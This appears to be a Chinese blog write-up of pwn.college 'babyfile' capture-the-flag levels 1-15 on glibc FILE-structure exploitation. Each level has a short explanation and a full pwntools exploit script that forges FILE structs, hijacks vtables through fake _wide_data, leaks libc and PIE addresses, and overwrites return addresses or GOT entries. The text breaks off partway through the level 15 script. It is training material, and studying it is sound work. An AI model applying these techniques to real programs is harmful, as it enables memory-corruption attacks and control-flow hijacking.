前言#

Finally，花了五个月差不多把 pwn 学完了，至于剩下的内核什么的后期就当兴趣学了，应该不会变成我的主要研究方向，所以等学完这两章 FSOP 的内容我就去搞 IoT，~~也能想象明年开始将全力以赴打比赛，暗无天日的坐牢（~~

总之希望竞赛时期不要太长，最好能够一年退役，我可不想整个大学生活都在坐牢 LOL

Level 1#

Information#

Category: Pwn

Description#

Harness the power of FILE structs to arbitrarily read data.

Write-up#

~~最简单的一集。~~ chall 把 flag 读到 bss 了，并且没开 PIE，还给了任意写 FILE 结构体的能力，直接用 pwntools 秒了。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level1"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    flag = 0x4040E0
47

48
    fp = FileStructure()
49
    payload = flat(fp.write(flag, 0x64))
50

51
    target.send(payload)
52

53
    target.interactive()
54

55

56
if __name__ == "__main__":
57
    main()

Level 2#

Information#

Category: Pwn

Description#

Harness the power of FILE structs to arbitrarily write data to bypass a security check.

Write-up#

验证变量，构造任意读即可。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level2"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    authenticated = 0x4041F8
47

48
    fp = FileStructure()
49
    payload = flat(fp.read(authenticated, 0x101))
50

51
    target.success(fp)
52

53
    target.send(payload)
54
    target.sendline(b"A" * 0xFF)
55

56
    target.interactive()
57

58

59
if __name__ == "__main__":
60
    main()

Level 3#

Information#

Category: Pwn

Description#

Harness the power of FILE structs to redirect data output.

Write-up#

以后每题都那么简单就好了（

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level3"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    target.send(b"\x01")
47

48
    target.interactive()
49

50

51
if __name__ == "__main__":
52
    main()

Level 4#

Information#

Category: Pwn

Description#

Harness the power of FILE structs to arbitrarily read/write data to hijack control flow.

Write-up#

越来越有趣了之，File Structure 的千层套路（

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level4"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    target.recvuntil(b"stored at: ")
47
    ret = int(target.recvline().strip(), 16)
48

49
    fp = FileStructure()
50
    payload = flat(fp.read(ret, 0x101))
51

52
    target.send(payload)
53
    target.send(flat(elf.sym["win"]).ljust(0x101, b"\x00"))
54

55
    target.interactive()
56

57

58
if __name__ == "__main__":
59
    main()

Level 5#

Information#

Category: Pwn

Description#

Abuse built-in FILE structs to leak sensitive information.

Write-up#

能改 stdout 结构体，并且 puts 函数内部会使用 stdout 结构体中的指针来输出值，所以我们只要改掉 write 的几个指针，过一下检查，并且把 flag 设置为 0xfbad1800 就好了。

1
int
2
_IO_puts (const char *str)
3
{
4
  int result = EOF;
5
  size_t len = strlen (str);
6
  _IO_acquire_lock (stdout);
7

8
  if ((_IO_vtable_offset (stdout) != 0
9
       || _IO_fwide (stdout, -1) == -1)
10
      && _IO_sputn (stdout, str, len) == len
11
      && _IO_putc_unlocked ('\n', stdout) != EOF)
12
    result = MIN (INT_MAX, len + 1);
13

14
  _IO_release_lock (stdout);
15
  return result;
16
}
17

18
weak_alias (_IO_puts, puts)
19
libc_hidden_def (_IO_puts)

0x1000 代表追加到当前 fileno 后面，0x0800 代表正在执行写入操作。

1
#define _IO_CURRENTLY_PUTTING 0x0800
2
#define _IO_IS_APPENDING      0x1000

不过实际上我们也不用改那么多 write 指针，只要把最重要的 _IO_write_base 改掉就好了，剩下的使用残留值。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level5"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    flag = 0x4040C0
47

48
    fp = FileStructure()
49
    fp.flags = 0xFBAD1800
50
    fp._IO_write_base = flag
51
    fp._IO_write_ptr = flag + 0x64
52
    fp._IO_write_end = flag + 0x64
53
    payload = flat(fp.struntil("_IO_write_end"))
54

55
    raw_input("DEBUG")
56
    target.send(payload)
57

58
    target.interactive()
59

60

61
if __name__ == "__main__":
62
    main()

Level 6#

Information#

Category: Pwn

Description#

Abuse built-in FILE structs to bypass a security check.

Write-up#

上题是改 stdout 使 puts 任意写，这题是改 stdio 使 scanf 任意读。

scanf 的话只要设置 _IO_NO_WRITES 标志并设置 _IO_buf_base 和 _IO_buf_end 就好了，和那几个 read 指针无关。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level6"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    authenticated = 0x4041F8
47

48
    fp = FileStructure()
49
    fp.flags = 0xFBAD0008
50
    fp._IO_buf_base = authenticated
51
    fp._IO_buf_end = authenticated + 0x8
52
    payload = flat(fp.struntil("_IO_buf_end"))
53

54
    raw_input("DEBUG")
55
    target.send(payload)
56
    target.sendlineafter(b"Please log in.", b"\x01")
57

58
    target.interactive()
59

60

61
if __name__ == "__main__":
62
    main()

Level 7#

Information#

Category: Pwn

Description#

Create a fake _wide_data struct to hijack control of the virtual function table of a FILE struct.

Write-up#

人生中第一道 vtable，也是灰常的简单呢 :D 一开始我看这 description 说是打 vtable 还感觉可能有点难，然非也哈哈哈。

这题就是折腾折腾几个指针而已，要点就是让调用 fwrite 时使用的 FILE structure 的 vtable + 0x38 处保存 __GI__IO_wfile_overflow 的地址，然后这个 __GI__IO_wfile_overflow 内部会调用 _IO_wdoallocbuf，这个函数内部又会调用传给 fwrite 的 FILE structure 的 _wide_data + 0x68 处的函数，我们伪造 _wide_data，令其 +0x68 处保存的是 win 函数地址即可。

一题打消第一次接触 vtable 的恐惧，开心。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level7"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    target.recvuntil(b"libc is: ")
47
    libc = int(target.recvline().strip(), 16) - 0x84420
48
    __GI__IO_wfile_overflow = libc + 0x1E8DC0
49

50
    target.recvuntil(b"located at: ")
51
    buf = int(target.recvline().strip(), 16)
52

53
    target.success(f"libc: {hex(libc)}")
54
    target.success(f"buf: {hex(buf)}")
55

56
    payload = flat(
57
        {
58
            0x68: elf.sym["win"],
59
            0xE0: buf,
60
        },
61
        filler=b"\x00",
62
    )
63
    raw_input("DEBUG")
64
    target.sendafter(b"Please enter your name.\n", payload)
65

66
    fp = FileStructure()
67
    fp._lock = buf
68
    fp._wide_data = buf
69
    fp.vtable = __GI__IO_wfile_overflow
70

71
    raw_input("DEBUG")
72
    target.sendafter(
73
        b"Now reading from stdin directly to the FILE struct.\n", bytes(fp)
74
    )
75

76
    target.interactive()
77

78

79
if __name__ == "__main__":
80
    main()

Level 8#

Information#

Category: Pwn

Description#

Create a fake _wide_data struct to hijack control of the virtual function table of a FILE struct.

Write-up#

和上题差不多，结构体 overlapping 就好了。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level8"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    target.recvuntil(b"libc is: ")
47
    libc = int(target.recvline().strip(), 16) - 0x84420
48
    __GI__IO_wfile_overflow = libc + 0x1E8DC0
49

50
    target.recvuntil(b"writing to: ")
51
    buf = int(target.recvline().strip(), 16)
52

53
    target.success(f"libc: {hex(libc)}")
54
    target.success(f"buf: {hex(buf)}")
55

56
    fp = FileStructure()
57
    fp._lock = buf
58
    fp._wide_data = buf
59
    fp.vtable = __GI__IO_wfile_overflow
60
    fp.chain = elf.sym["win"]
61

62
    payload = flat(
63
        bytes(fp),
64
        buf,
65
    )
66

67
    raw_input("DEBUG")
68
    target.send(payload)
69

70
    target.interactive()
71

72

73
if __name__ == "__main__":
74
    main()

Level 9#

Information#

Category: Pwn

Description#

Create a fake _wide_data struct to hijack control of the virtual function table of a built-in FILE struct.

Write-up#

做 flag 梦，下 flag 雨（

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level9"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    target.recvuntil(b"libc is: ")
47
    libc = int(target.recvline().strip(), 16) - 0x84420
48
    __GI__IO_wfile_overflow = libc + 0x1E8DC0
49

50
    target.recvuntil(b"_IO_read_ptr")
51
    buf = int(target.recvline().strip()[-14:], 16) - 0x83
52

53
    target.success(f"libc: {hex(libc)}")
54
    target.success(f"buf: {hex(buf)}")
55

56
    fp = FileStructure()
57
    fp._lock = buf
58
    fp._wide_data = buf
59
    fp.vtable = __GI__IO_wfile_overflow
60
    fp.chain = elf.sym["authenticate"] + 0x25
61

62
    payload = flat(
63
        bytes(fp),
64
        buf,
65
    )
66
    raw_input("DEBUG")
67
    target.send(payload)
68

69
    target.interactive()
70

71

72
if __name__ == "__main__":
73
    main()

Level 10#

Information#

Category: Pwn

Description#

Create a fake _wide_data struct to hijack control of the virtual function table of a FILE struct.

Write-up#

呜呜呜，他甚至在汇编层隐藏了作弊检测（

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level10"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    target.recvuntil(b"libc is: ")
47
    libc = int(target.recvline().strip(), 16) - 0x84420
48
    __GI__IO_wfile_overflow = libc + 0x1E8DC0
49

50
    target.recvuntil(b"writing to: ")
51
    buf = int(target.recvline().strip(), 16)
52

53
    target.success(f"libc: {hex(libc)}")
54
    target.success(f"buf: {hex(buf)}")
55

56
    fp = FileStructure()
57
    fp.flags = b"password"
58
    fp._lock = buf + 0xE8
59
    fp._wide_data = buf
60
    fp.vtable = __GI__IO_wfile_overflow
61
    fp.chain = elf.sym["authenticate"]
62

63
    payload = flat(
64
        bytes(fp),
65
        buf,
66
    )
67
    raw_input("DEBUG")
68
    target.send(payload)
69

70
    target.interactive()
71

72

73
if __name__ == "__main__":
74
    main()

Level 11#

Information#

Category: Pwn

Description#

Apply FILE struct exploits to leak a secret value.

Write-up#

不好啦，开始结合堆利用啦，感觉要开始变难了……

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level11"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def new_note(size):
36
    target.sendlineafter(b"> ", b"new_note")
37
    target.sendlineafter(b"> ", str(size).encode())
38

39

40
def del_note():
41
    target.sendlineafter(b"> ", b"del_note")
42

43

44
def write_note(content):
45
    target.sendlineafter(b"> ", b"write_note")
46
    target.send(content)
47

48

49
def read_note():
50
    target.sendlineafter(b"> ", b"read_note")
51

52

53
def open_file():
54
    target.sendlineafter(b"> ", b"open_file")
55

56

57
def close_file():
58
    target.sendlineafter(b"> ", b"close_file")
59

60

61
def write_file():
62
    target.sendlineafter(b"> ", b"write_file")
63

64

65
def write_fp(payload):
66
    target.sendlineafter(b"> ", b"write_fp")
67
    target.send(payload)
68

69

70
def quit():
71
    target.sendlineafter(b"> ", b"quit")
72

73

74
def launch():
75
    global target
76
    if args.L:
77
        target = process(FILE)
78
    else:
79
        target = remote(HOST, PORT, ssl=True)
80

81

82
def main():
83
    launch()
84

85
    secret = 0x404100
86

87
    new_note(0x10)
88
    open_file()
89

90
    fp = FileStructure()
91
    fp.flags = 0x800
92
    fp._IO_read_end = secret
93
    fp._IO_write_base = secret
94
    fp._IO_write_ptr = secret + 0x100
95
    fp.fileno = 1
96
    payload = flat(fp.struntil("_flags2"))
97

98
    raw_input("DEBUG")
99
    write_fp(payload)
100
    write_file()
101
    quit()
102

103
    target.interactive()
104

105

106
if __name__ == "__main__":
107
    main()

Level 12#

Information#

Category: Pwn

Description#

Apply FILE struct exploits to write data to bypass a security check.

Write-up#

越来越简单，梦回幼儿园（

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level12"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def new_note(idx, size):
36
    target.sendlineafter(b"> ", b"new_note")
37
    target.sendlineafter(b"> ", str(idx).encode())
38
    target.sendlineafter(b"> ", str(size).encode())
39

40

41
def del_note(idx):
42
    target.sendlineafter(b"> ", b"del_note")
43
    target.sendlineafter(b"> ", str(idx).encode())
44

45

46
def write_note(idx, content):
47
    target.sendlineafter(b"> ", b"write_note")
48
    target.sendlineafter(b"> ", str(idx).encode())
49
    target.send(content)
50

51

52
def read_note(idx, content):
53
    target.sendlineafter(b"> ", b"read_note")
54
    target.sendlineafter(b"> ", str(idx).encode())
55
    target.send(content)
56

57

58
def open_file():
59
    target.sendlineafter(b"> ", b"open_file")
60

61

62
def close_file():
63
    target.sendlineafter(b"> ", b"close_file")
64

65

66
def read_file(idx):
67
    target.sendlineafter(b"> ", b"read_file")
68
    target.sendlineafter(b"> ", str(idx).encode())
69

70

71
def write_fp(payload):
72
    target.sendlineafter(b"> ", b"write_fp")
73
    target.send(payload)
74

75

76
def auth():
77
    target.sendlineafter(b"> ", b"authenticate")
78

79

80
def quit():
81
    target.sendlineafter(b"> ", b"quit")
82

83

84
def launch():
85
    global target
86
    if args.L:
87
        target = process(FILE)
88
    else:
89
        target = remote(HOST, PORT, ssl=True)
90

91

92
def main():
93
    launch()
94

95
    target.recvuntil(b"located at: ")
96
    elf.address = int(target.recvline().strip(), 16) - 0x205D
97
    authenticate = elf.address + 0x5170
98

99
    target.success(f"pie: {hex(elf.address)}")
100
    target.success(f"authenticate: {hex(authenticate)}")
101

102
    open_file()
103

104
    fp = FileStructure()
105
    fp.read(authenticate, 0x10)
106
    payload = flat(fp.struntil("_IO_save_base"))
107

108
    # raw_input("DEBUG")
109
    write_fp(payload)
110
    new_note(0, 0x8)
111
    raw_input("DEBUG")
112
    read_file(0)
113
    auth()
114
    quit()
115

116
    target.interactive()
117

118

119
if __name__ == "__main__":
120
    main()

Level 13#

Information#

Category: Pwn

Description#

Apply FILE struct exploits to write data and hijack control flow.

Write-up#

Level 12: When using close_file, be cautious of double free or invalid pointer issues.
Level 13: To resolve issues with stdin breaking after using close_file, consider alternative methods to get an arbitrary read without using close_file.
Level 13: One approach is to perform a leak using write_file and an overwrite using read_file.

感觉 Level 12 和 Level 13 我打的都是非预期 o_O

~~求漂亮小姐姐浇浇 fclose 怎么利用……~~

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level13"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def new_note(idx, size):
36
    target.sendlineafter(b"> ", b"new_note")
37
    target.sendlineafter(b"> ", str(idx).encode())
38
    target.sendlineafter(b"> ", str(size).encode())
39

40

41
def del_note(idx):
42
    target.sendlineafter(b"> ", b"del_note")
43
    target.sendlineafter(b"> ", str(idx).encode())
44

45

46
def write_note(idx, content):
47
    target.sendlineafter(b"> ", b"write_note")
48
    target.sendlineafter(b"> ", str(idx).encode())
49
    target.send(content)
50

51

52
def read_note(idx, content):
53
    target.sendlineafter(b"> ", b"read_note")
54
    target.sendlineafter(b"> ", str(idx).encode())
55
    target.send(content)
56

57

58
def open_file():
59
    target.sendlineafter(b"> ", b"open_file")
60

61

62
def close_file():
63
    target.sendlineafter(b"> ", b"close_file")
64

65

66
def write_file(idx):
67
    target.sendlineafter(b"> ", b"write_file")
68
    target.sendlineafter(b"> ", str(idx).encode())
69

70

71
def read_file(idx):
72
    target.sendlineafter(b"> ", b"read_file")
73
    target.sendlineafter(b"> ", str(idx).encode())
74

75

76
def write_fp(payload):
77
    target.sendlineafter(b"> ", b"write_fp")
78
    target.send(payload)
79

80

81
def quit():
82
    target.sendlineafter(b"> ", b"quit")
83

84

85
def launch():
86
    global target
87
    if args.L:
88
        target = process(FILE)
89
    else:
90
        target = remote(HOST, PORT, ssl=True)
91

92

93
def main():
94
    launch()
95

96
    target.recvuntil(b"is: ")
97
    stack = int(target.recvline().strip(), 16)
98

99
    target.success(f"stack: {hex(stack)}")
100

101
    open_file()
102

103
    fp = FileStructure()
104
    fp.write(stack - 0x50, 0x100)
105
    payload = flat(fp.struntil("_flags2"))
106

107
    write_fp(payload)
108

109
    new_note(0, 0x10)
110
    write_file(0)
111
    target.recvlines(4)
112
    fp_addr = int.from_bytes(target.recv(0x8), "little") - 0x1E0
113

114
    target.recv(0x68)
115
    libc = int.from_bytes(target.recv(0x8), "little") - 0x1ED6A0
116
    __GI__IO_wfile_overflow = libc + 0x1E8DC0
117

118
    target.recv(0x48)
119
    elf.address = int.from_bytes(target.recv(0x8), "little") - 0x2200
120

121
    target.success(f"libc: {hex(libc)}")
122
    target.success(f"pie: {hex(elf.address)}")
123
    target.success(f"fp: {hex(fp_addr)}")
124

125
    fp = FileStructure()
126
    fp._lock = fp_addr
127
    fp._wide_data = fp_addr
128
    fp.vtable = __GI__IO_wfile_overflow
129
    fp.chain = elf.sym["win"]
130
    payload = flat(
131
        bytes(fp),
132
        fp_addr,
133
    )
134

135
    write_fp(payload)
136

137
    # raw_input("DEBUG")
138
    write_file(0)
139
    quit()
140

141
    target.interactive()
142

143

144
if __name__ == "__main__":
145
    main()

Level 14#

Information#

Category: Pwn

Description#

Apply FILE struct exploits to write data to hijack control flow.. again?

Write-up#

这题泄漏了栈地址，有 fread，所以直接让它写返回地址就好了，多跑几次， $1/16$ 概率成功。我不知道有没有别的打法，提示说 close_file 可能比较有用，不懂，这个预期解到底是啥，我不知道……

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level14"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def new_note(idx, size):
36
    target.sendlineafter(b"> ", b"new_note")
37
    target.sendlineafter(b"> ", str(idx).encode())
38
    target.sendlineafter(b"> ", str(size).encode())
39

40

41
def del_note(idx):
42
    target.sendlineafter(b"> ", b"del_note")
43
    target.sendlineafter(b"> ", str(idx).encode())
44

45

46
def write_note(idx, content):
47
    target.sendlineafter(b"> ", b"write_note")
48
    target.sendlineafter(b"> ", str(idx).encode())
49
    target.send(content)
50

51

52
def read_note(idx, content):
53
    target.sendlineafter(b"> ", b"read_note")
54
    target.sendlineafter(b"> ", str(idx).encode())
55
    target.send(content)
56

57

58
def open_file():
59
    target.sendlineafter(b"> ", b"open_file")
60

61

62
def close_file():
63
    target.sendlineafter(b"> ", b"close_file")
64

65

66
def read_file(idx):
67
    target.sendlineafter(b"> ", b"read_file")
68
    target.sendlineafter(b"> ", str(idx).encode())
69

70

71
def write_fp(payload):
72
    target.sendlineafter(b"> ", b"write_fp")
73
    target.send(payload)
74

75

76
def quit():
77
    target.sendlineafter(b"> ", b"quit")
78

79

80
def launch():
81
    global target
82
    if args.L:
83
        target = process(FILE)
84
    else:
85
        target = remote(HOST, PORT, ssl=True)
86

87

88
def main():
89
    launch()
90

91
    target.recvuntil(b"is: ")
92
    stack = int(target.recvline().strip(), 16)
93
    ret = stack + 0x98
94

95
    target.success(f"stack: {hex(stack)}")
96

97
    open_file()
98

99
    fp = FileStructure()
100
    fp.read(ret, 0x3)
101
    payload = flat(fp.struntil("_flags2"))
102

103
    write_fp(payload)
104

105
    new_note(0, 0x2)
106
    # raw_input("DEBUG")
107
    read_file(0)
108

109
    payload = flat(
110
        b"\xc9\x03",
111
    )
112
    target.send(payload)
113
    quit()
114

115
    target.interactive()
116

117

118
if __name__ == "__main__":
119
    main()

Level 15#

Information#

Category: Pwn

Description#

Apply FILE struct exploits to overwrite a GOT entry.

Write-up#

比上题简单，直接改 GOT 表。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level15"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def new_note(idx, size):
36
    target.sendlineafter(b"> ", b"new_note")
37
    target.sendlineafter(b"> ", str(idx).encode())
38
    target.sendlineafter(b"> ", str(size).encode())
39

40

41
def del_note(idx):
42
    target.sendlineafter(b"> ", b"del_note")
43
    target.sendlineafter(b"> ", str(idx).encode())
44

45

46
def write_note(idx, content):
47
    target.sendlineafter(b"> ", b"write_note")
48
    target.sendlineafter(b"> ", str(idx).encode())
49
    target.send(content)
50

51

52
def read_note(idx, content):
53
    target.sendlineafter(b"> ", b"read_note")
54
    target.sendlineafter(b"> ", str(idx).encode())
55
    target.send(content)
56

57

58
def open_file():
59
    target.sendlineafter(b"> ", b"open_file")
60

61

62
def close_file():
63
    target.sendlineafter(b"> ", b"close_file")
64

65

66
def read_file(idx):
67
    target.sendlineafter(b"> ", b"read_file")
68
    target.sendlineafter(b"> ", str(idx).encode())
69

70

71
def write_fp(payload):
72
    target.sendlineafter(b"> ", b"write_fp")
73
    target.send(payload)
74

75

76
def quit():
77
    target.sendlineafter(b"> ", b"quit")
78

79

80
def launch():
81
    global target
82
    if args.L:
83
        target = process(FILE)
84
    else:
85
        target = remote(HOST, PORT, ssl=True)
86

87

88
def main():
89
    launch()
90

91
    open_file()
92

93
    fp = FileStructure()
94
    fp.read(elf.got["printf"], 0x9)
95
    payload = flat(fp.struntil("_flags2"))
96

97
    write_fp(payload)
98

99
    new_note(0, 0x8)
100
    # raw_input("DEBUG")
101
